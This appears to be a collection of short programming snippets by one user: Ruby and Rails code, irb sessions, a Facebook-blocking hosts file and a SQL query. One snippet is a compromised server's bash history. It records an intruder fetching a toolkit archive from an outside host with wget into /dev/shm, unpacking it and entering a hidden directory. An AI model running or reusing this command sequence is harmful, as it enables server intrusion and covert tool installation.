keeran

require 'benchmark'

def implicit_return
  arr = (1..1000).to_a

  arr.inject({}) do |mem, item|
    mem[item.to_s] = item
    mem
  end
end

keeran

>> i = a.each
=> #<Enumerator: [1, 2, 3]:each>
>> loop do
?>     puts i.next
>>   end
1
2
3
=> nil
>> i = a.each

keeran

# Block Facebook
127.0.0.1 www.facebook.com
127.0.0.1 facebook.com
127.0.0.1 static.ak.fbcdn.net
127.0.0.1 www.static.ak.fbcdn.net
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com
127.0.0.1 fbcdn.net
127.0.0.1 www.fbcdn.net
127.0.0.1 fbcdn.com

keeran

ruby-1.9.2-p136 :001 > (1..5).each {|n| puts n; break}
1
 => nil 
ruby-1.9.2-p136 :002 > 

keeran

keeran@localhost:/home/deploy$ sudo cat .bash_history 
passwd
cat /etc/issue
cd /dev/shm
ls
ls -la
wget rocsana4u.webs.com/joke/s.tgz
tar xvf s.tgz 
rm -rf s.tgz 
cd .joke/

keeran

[2010-10-17 02:33:15] ERROR Errno::ECONNRESET: Connection reset by peer
	/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/httpserver.rb:56:in `eof?'
	/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/httpserver.rb:56:in `run'
	/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/server.rb:183:in `block in start_thread'

keeran

group :test, :cucumber do
  gem 'capybara', :git => 'git://github.com/keeran/capybara.git'
  gem 'selenium-webdriver', '0.0.27'
  gem 'database_cleaner' 
  gem 'cucumber-rails' 
  gem 'cucumber' 
  gem 'rspec'
  gem 'rspec-rails', ">= 2.0.0.beta.17" 
  gem 'spork'
  gem 'launchy'

keeran

class Posts < ActiveRecord::Base
  belongs_to :user
  scope :extra, where(:extra => true)

  def self.optional_scope(param = false)    
    if param
      scope = where(:something => 'else')
    else
      scope = self
    end

keeran

SELECT hour(created_at) as hour, count(hour(created_at)) as total FROM audit_logs group by hour(created_at) order by total DESC

keeran

  scope :has_all_items_in_state, lambda {|item_states|
    {
      :joins => :order_items, :conditions => { :order_items => { :state => item_states}},
      :select => "orders.*, COUNT(order_items.id) as item_count",
      :group => "orders.id",
      :having => "item_count = (select count(*) from order_items where order_id = orders.id)"
    }
  }